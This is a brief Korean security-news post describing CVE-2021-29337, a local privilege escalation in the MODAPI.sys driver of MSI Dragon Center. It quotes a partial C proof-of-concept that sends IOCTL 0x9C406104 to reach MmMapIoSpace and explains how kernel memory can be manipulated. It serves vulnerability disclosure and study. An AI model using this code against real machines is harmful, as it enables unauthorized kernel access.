[하루한줄] CVE-2021-29337: MSI Dragon Center의 로컬 권한 상승 취약점

URL

CVE-2021-29337 - Privilege Escalation in MODAPI.sys (MSI Dragon Center)

Target

  • MSI Dragon Center 2.0.104.0

Explain

LED 시스템, 시스템 환경 설정, 모바일 앱 원격 제어 등의 기능을 지원하는 MSI의 시스템 모니터링 유틸리티인 Dragon Center에서 발견된 로컬 권한 상승 취약점의 PoC가 공개되었습니다.

취약점은 Dragon Center의 커널 드라이버 MODAPI.sys에 존재하며 PoC의 일부 코드는 다음과 같습니다.

//Allocate Input Buffer
LPVOID lpInMemoryArea = VirtualAlloc((LPVOID)0x41000000, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
LPVOID lpOutMemoryArea = VirtualAlloc((LPVOID)0x42000000, 0x100, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

//Set Input Buffer
DWORD pPhysicalMemAddr = 0xE0000;
DWORD dwDataSizeToRead = 0x4;
DWORD dwAmountOfDataToRead = 8;

memmove(lpInMemoryArea, &pPhysicalMemAddr, sizeof(DWORD));
memmove((BYTE*)lpInMemoryArea + 0x8, &dwDataSizeToRead, sizeof(DWORD));
memmove((BYTE*)lpInMemoryArea + 0xC, &dwAmountOfDataToRead, sizeof(DWORD));

// Send IOCTL
DWORD dwLastError = DeviceIoControl(hDriver, 0x9C406104, lpInMemoryArea, 0x10, lpOutMemoryArea, 0x40, &dwBytesOut, NULL);

MODAPI.sys의 METHOD_BUFFERED IOCTL 0x9C406104 는 물리 메모리를 가상 주소 공간에 매핑하는 MmMapIoSpace 루틴을 호출합니다. 이를 악용해 해커가 Input Buffer인 lpInMemoryArea 에 권한 상승을 위한 임의의 값을 설정한 뒤 DeviceIoControl을 통해 IOCTL 요청을 보내면 Windows의 커널 메모리를 유저모드의 데이터로 임의로 조작 할 수 있으며 이는 로컬 권한 상승으로 이어질 수 있습니다.